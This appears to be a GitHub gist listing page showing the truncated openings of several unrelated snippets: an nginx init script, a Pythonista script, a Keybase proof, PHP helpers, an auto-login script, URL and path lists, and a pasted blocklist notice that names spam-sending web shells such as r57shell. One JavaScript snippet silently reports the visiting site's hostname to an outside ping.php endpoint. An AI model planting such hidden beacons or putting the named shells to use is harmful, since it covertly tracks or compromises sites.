suderman

#!/bin/sh
#/etc/init.d/nginx

# chkconfig: 2345 55 25
# Description: Nginx init.d script, put in /etc/init.d, chmod +x /etc/init.d/nginx
#              For Debian, run: update-rc.d -f nginx defaults
#              For CentOS, run: chkconfig --add nginx
#
### BEGIN INIT INFO
# Provides:          nginx

suderman

#coding: utf-8
import requests
import appex,console,time,os

if appex.is_running_extension():
	unquote=requests.utils.unquote
	urlparse=requests.utils.urlparse
	url=appex.get_url()
	p=urlparse(url)
	urlfilename=unquote(unquote(urlparse(appex.get_url()).path.split('/')[-1]))

suderman

Keybase proof

I hereby claim:

• I am suderman on github.
• I am suderman (https://keybase.io/suderman) on keybase.
• I have a public key ASDNX-mvnLhMpTlLIKegzUvhAq6svy1ajBGc9fqM5HZLHQo

To claim this, I am signing this object:

suderman

<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
	function file_put_contents($filename, $data) {
		$f = @fopen($filename, 'w');
		if (! $f)
			return false;
		$bytes = fwrite($f, $data);

suderman

IP Address 173.203.107.156 is listed in the CBL. It shows signs of being infected with a spam sending trojan, malicious link or some other form of botnet.

It was last detected at 2015-09-15 00:00 GMT (+/- 30 minutes), approximately 14 days, 17 hours ago.

This IP is sending email in such a way to indicate that it is, or is NATting for a web server that is infected with a spam sending script, like Darkmailer, DirectMailer, r57shell, or some analogous Perl, PHP or CGI script.

If, however, you are running the "sendmagic" mail server package, please contact your vendor for an update.

If you are not running "sendmagic", the following should help you identify where the spam sending script is located so that you can remove it as well as innoculate your web server so it doesn't happen again.

suderman

// Change these settings
var username = 'myname',
    password = 'mypass',
    pin = [0,0,0,0];
    
// Auto-login
var login = setInterval(function(){ 
  if ($('form#user-account-form').length) {
    clearInterval(login);
    $('input#username').val(username);

suderman

http://corporate.calgarystampede.com/assets/appimages/AdultPowwow.jpg.jpg
http://corporate.calgarystampede.com/assets/appimages/akells.jpg.tif
http://corporate.calgarystampede.com/assets/appimages/ArtsandCrafts.jpg.jpg
http://corporate.calgarystampede.com/assets/appimages/bannockbooth.jpg.jpg
http://corporate.calgarystampede.com/assets/appimages/beatdrop.jpg.jpg
http://corporate.calgarystampede.com/assets/appimages/BJ%20Thomas%202015.tif
http://corporate.calgarystampede.com/assets/appimages/Bobby%20Wills%202015.tif
http://corporate.calgarystampede.com/assets/appimages/Boom%20Chucka%20Boys%202015.tif
http://corporate.calgarystampede.com/assets/appimages/brett.jpg.tif
http://corporate.calgarystampede.com/assets/appimages/Chad%20Brownlee%202015.tif

suderman

<?php
require_once 'n_model.php';

class PhotoLibraryImage extends NModel {
  function __construct() {
    $this->__table = 'photo_library_image';
    $this->form_ignore_fields = array('image_web_170', 'image_web_400', 'image_web_960');
    $this->form_elements['image_full'] = array('cms_file', 'image_full', 'High Res Image');
    $this->form_required_fields = array('photo_title', 'image_full');
    $this->_order_by = 'cms_headline';

suderman

<script type="text/javascript">
(function() {
  if (document.location.hostname !== 'www.talisman-energy.com') {
    var p = document.createElement('script');
    p.type = 'text/javascript';
    p.async = true;
    p.src = 'http://www.talisman-energy.com/ping.php?hostname=' + document.location.hostname;
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(p, s);
  }

suderman

/about-us
/about-us/testimonials
/about-us/our-founder
/about-us/our-corporate-team-2
/about-us/the-book
/about-us/mission-and-values
/about-us/social-responsibility
/about-us/careers
/about-us/videos
/services